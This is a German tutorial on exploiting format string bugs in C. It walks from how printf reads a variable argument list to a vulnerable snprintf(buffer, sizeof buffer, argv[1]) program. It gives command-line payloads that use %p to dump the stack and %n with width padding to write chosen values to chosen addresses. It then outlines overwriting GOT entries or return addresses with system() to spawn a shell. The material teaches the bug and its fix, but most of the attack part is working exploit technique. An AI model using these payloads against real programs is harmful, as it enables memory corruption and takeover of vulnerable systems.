Format String Exploits: Heisst grundsaetzlich, die Eigenschaft der f/s(n)printf/scanf - Funktionsfamilie auszunutzen, dass sie eine va_args-liste zum Uebergeben der Parameter und einen String zum Beschreiben der Anzahl und Art der Parameter benutzt. syntax: printf( char *format, param1, param2, ... ) Wenn man einen C-Kurs mitmacht, wird einem vermittelt, dass man in den Formatstring eintragen soll, welche Paramater die printf Funktion bekommen wird und wenn es Inkonsistenzen zwischen dem Formatstring und den Paramtern gibt, stuerzt das Programm ab. Und genau an der Stelle beginnt der spannende Part: wenn ein Programm abstuerzt, wurde sicher Speicher der Applikation ueber- schrieben und Ziel des Spiels ist es nun, zu versuchen, gezielt Speicher mit uns geneigten Werten zu ueberschreiben. Und unter uns: sooo schnell schiesst man ein Programm nicht ab :) Also schauen wir uns mal einen validen Aufruf der Funktion an: int main( ) { int a, b; a = 7; b = 9; printf( "%d %d\n", a, b ); return 0; } In optimiertem Assembler sieht das so aus: .LC0: .string "%d %d\n" main: [ ... ] pushl $9 pushl $7 pushl $.LC0 call printf [ ... ] Dort steht, dass erst b und a auf den Stack geschoben werden, danach die Adresse des Formatstrings und schliesslich printf aufgerufen wird. In C ist es generell nicht der Fall, dass Funktionen ueber die Parameter informiert werden, die sie auf dem Stack erhalten, das geben sie naemlich beim Compilen an und erwarten dann auf dem Stack auch genau diese Parameter vorzufinden. Einzige Ausnahme bildet ein Konstrukt namens va. Das bedeutet "Varibale Argumentenliste". Die Funktion printf arbeitet dann auch wie folgt: int printing( const char *fmt, ...) { va_list ap; char output[1024]; va_start(ap, fmt); while( *fmt ) { if( *fmt != '%' ) { putc( *fmt++ ); } else { /* Parameter substituieren */ switch( *++fmt ) { case 'd': int a = va_arg( ap, int ); /* Zahl a ausgeben */ break; case 's': char *s = va_arg( ap, char *); /* String ausgeben */ .... } } va_end(ap); } Hinter der ganzen vargs Magie verbergen sich aber nur diese drei (jetzt mal von mir leicht vereinfachten) Makros: #define va_start(ap, var) ((ap) = (va_list)&var) #define va_arg(ap, type) *(((type *)ap++)) #define va_end(ap) In Wirklichkeit wird da noch ein wenig am Alignment der Variablen geschraubt, aber im Groben stellt dies schon dar, wie variable Argumentlisten behandelt werden: printf holt einfach vom Stack ab, egal, ob da was drauf steht, oder nicht. Was drauf stehen tut aber immer, naemlich Ruecksprung- adressen und der Stack der aufrufenden Funktionen. Und das koennen wir uns mal angucken: int main( ) { int a = 0x23232323; printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); return 0; } Liefert einen output von: 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 Und gugge da: wir erkennen doch da glatt unser nicht ganz zufaellig gewaehltes a wieder. %p ist der Bezeichner fuer einen ganz normalen pointer, also 4 bytes, die vom Stack geholt und in der 0xn Notation angezeigt werden. Aber printf kann mehr: int a; printf ( "Ich bin 23 Zeichen lang%n\n", &a); printf ( "Und printf hat's gezaehlt: %d", a); Liefert als Ausgabe: Ich bin 23 Zeichen lang Und printf hat's gezaehlt: 23 Was ist passiert? Printf erwartet bei einem %n, dass auf dem Stack der Zeiger auf ein int liegt, in das er die Anzahl der in diesem Funktionsaufruf ausgegebnen Zeichen schreibt. Nicht auszumalen, was passiert, wenn auf dem Stack gar keine solide Adresse liegt :) Printf bietet uns also einen ganz soliden Weg, den Stack zu inspizieren und aktiv Speicher zu veraendern. Bliebe die Frage, warum sollte uns ein Programm den Weg ebnen, den Formatstring selbst zu waehlen. Da gibt es zwei Erklaerungen: 1. bieten einige Programme fuer formatierte Textausgabe dem Benutzer an, selber Formatstrings anzugeben. Dies ist aber nicht so spannend, da der String meist sehr genau geprueft wird, allerdings gibt es einen exploit fuer den Mail-Reader mutt, der genau ueber einen solchen Formatierungsstring anfaellig war 2. Ist es dem printf egal, ob man ihm nun wirklich einen Zeiger auf den Formatstring gegeben hat, oder den Zeiger auf IRGENDEINEN String, der ausgegeben werden soll. Typischer BASIC Programmierstil ist: A = "Hallo" PRINT A in C: char *a = "Hallo"; printf( a ); funktioniert auch hervorragend, solange der String a keine printf - control characters, naemlich "%"'s enthaelt. Genug der Theorie, in der Praxis sieht sowas dann ganz schlicht so aus: int main( int argc, char **argv ) { char buffer[ 256 ]; snprintf( buffer, sizeof buffer, argv[1] ); return 0; } Man beachte, dass der Programmierer sich grosse Muehe gegeben hat, buffer-overflows zu vermeiden, indem er sichere Variante von sprintf, das snprintf benutzt hat, damit auch wirklich maximal 32 bytes in den Buffer gelangen. Allerdings hat er beim String, der geschrieben werden soll, geschlampt: die Zeile muesste richtig lauten snprintf( buffer, sizeof buffer, "%s", argv[1] ); Nun, was tut dieses Funktion? Schreibt in den Buffer mit maximal 32 Zeichen den String argv[1], also das erste Kommandozeilenargument der Funktion. Aber tut es das auch wirklich? Nur, wie gesagt, solange im String keine '%' stehen, aber solche Zeichen in die Kommandozeile einzu- tippern kriegen wir doch noch hin :) Es gibt noch das kleine Problem, dass der Printf halt in einen Buffer und nicht auf den Screen schreibt, das laesst sich aber leicht loesen, indem wir entweder einen Debugger benutzen, um den Inhalt des Buffers auszulesen, oder ein- fach wieder printf dafuer benutzen, sieht dann so aus: int main( int argc, char **argv ) { int test = 0x23232323; char buffer[ 256 ]; printf( "test auf: %p\n", &test ); printf( "test enthaelt: %x\n\n", test); snprintf( buffer, sizeof buffer, argv[1] ); printf( "%s\n", buffer); printf( "test enthaelt: %x\n\n", test); return 0; } Ich habe nun noch eine Variable eingefuegt, an der wir ein wenig rumspielen wollen: Dessen Adresse wuerde man wieder mit einem debugger herausfinden, hier benutz ich printf, auch den aktuellen Wert geb ich einmal vor und einmal nach der "Attacke" aus. Das compilete Programm wirft mir folgendes raus: # ./vuln Probierung test auf: 0xbfbff6d4 test enthaelt: 0x23232323 Probierung test enthaelt: 0x23232323 Nuescht besonderes. Probieren wir nun mal ein bisschen mit den Formatstrings rum: # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" test auf: 0xbfbff6c0 test enthaelt: 0x23232323 AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 test enthaelt: 0x23232323 Als erstes sehen wir, dass sich die Adressse von test (das sich ja im Stack befindet) variiert. Das liegt daran, dass die Kommandozeilenparameter im Stack abgelegt werden. Wir koennen aber mit Anfuerungszeichen und vielen Spaces ueber die gesamte Testphase fuer einen konstanten offset sorgen. Zweitens liegt, wie eben erwaehnt, auch der Format-String nocheinmal im Stack weiter oben rum, die 0x41414141 sind unsere AAAA in der Kommandozeile. Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer weniger und tun dafuer ein %n hin: # ./test "AAAA%p %p %p %p %p %p%n %p %p" test auf: 0xbfbff6c0 test enthaelt: 0x23232323 Segmentation fault (core dumped) Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt nicht mit den Formatstrings rum. Aber was genau hab ich jetzt kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als naechstes 0x41414141. Und dieser Wert wird ja nun bei einem %n als Adresse einer int interpretiert, an die der aktuelle Character-Count geschrieben werden soll. Und an 0x41414141 befindet sich kein lesbarer Speicher. Also kein Geheimnis. Aber wer jetzt einen Exploit entdeckt hat, soll sich mal melden. Genau... die 0x41414141 kommt ja direkt aus unserem Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? Wir haetten da sogar noch eine ueber: 0xbfbff6c0 Da liegt naemlich die Variable test und es ist sogar eine int. Als String sieht die Adresse so aus: Àö¿¿ Ungewoehnlich, aber wat solls, solange kein % und kein \000 dabei ist, soll uns das nicht stoeren :) Wir probieren das einfach mal aus: # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" test auf: 0xbfbff6c0 test enthaelt: 0x2323232323 Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 test enthaelt: 0x42 An der Stelle, wo da zwei Leerzeichen hintereinander sind, wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt 0x42. Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum Doppelleerzeichen 66 ausgegebene Characters. Wir haben es also geschafft, an eine beliebige Adresse einen leider noch einigermassen zufaelligen Wert zu schreiben, das soll sich jetzt aendern. Was wir brauchen, ist eine wohl- bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, damit wir mit ihnen rechnen koennen. Dat jeht so: # ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " test auf: 0xbfbff6c0 test enthaelt: 0x23232323 Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 test enthaelt: 0x3D und mit der letzten koennen wir noch ein wenig spielen: ./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " test auf: 0xbfbff6b0 test enthaelt: 0x23232323 °ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 test enthaelt: 0x42424242 Ich musste fuer die grossen Zahlen leider noch ein wenig an der Adresse von test rumspielen, aber im Prinzip ist zu erkennen, dass ich an jede Adresse jeden Wert schreiben kann. Was habe ich getan? Man kann fuer Zahlenkonvertierungen in printf eine width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt wird, wenn die Zahl nicht breit genug wird. Und das koennen nu auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn man mal eine valide Adresse wohin schreiben will. Und netterweise liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, sondern die der "theoretisch" geschriebenen in %n zurueck, was dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, man uebergibt diesen einfach mit im Formatstring und kann die Einsprungadresse punktgenau auf den Stack werfen. Waere aber eigentlich eine Schande, denn Formatstringexploits sind so fili- gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen return adressen eigentlich nur raten. Viel eleganter ist es, die GOT des binaries zu veraendern. Dies ist die global object table, und dort hinein kommen fuer alle Funktionen, die aus Libraries eingebunden werden, die Adressen. Der Vorteil ist, dass bei fast allen Standard- anwendungen die GOT ungefaehr gleich aussieht. Wenn man die Adresse des fopen-calls einfach mit der des system-calls ueber- schreibt, koennte man einen Teil des formatstrings glatt von einer Shell interpretieren lassen. Dies ist insoweit im Moment spannend, da ernsthaft damit ange- fangen wird, den Stack non-executable zu mappen und damit buffer overflows und darin befindlicher Shellcode zu verhindern. Dies liesse noch Spielraum fuer eine weitere Option, naemlich die Ruecksprungadresse der printf-aufrufenden Funktion zu ueberschreiben und zwar mit der Einsprungadresse von system, wenn man davor eine Adresse irgendwo im eigenen Formatstring hinpackt, kann man den Formatstring wie folgt gestalten: "/../../../../../../../../../bin/sh" die ../'s sind naemlich eigentlich auch NOPs.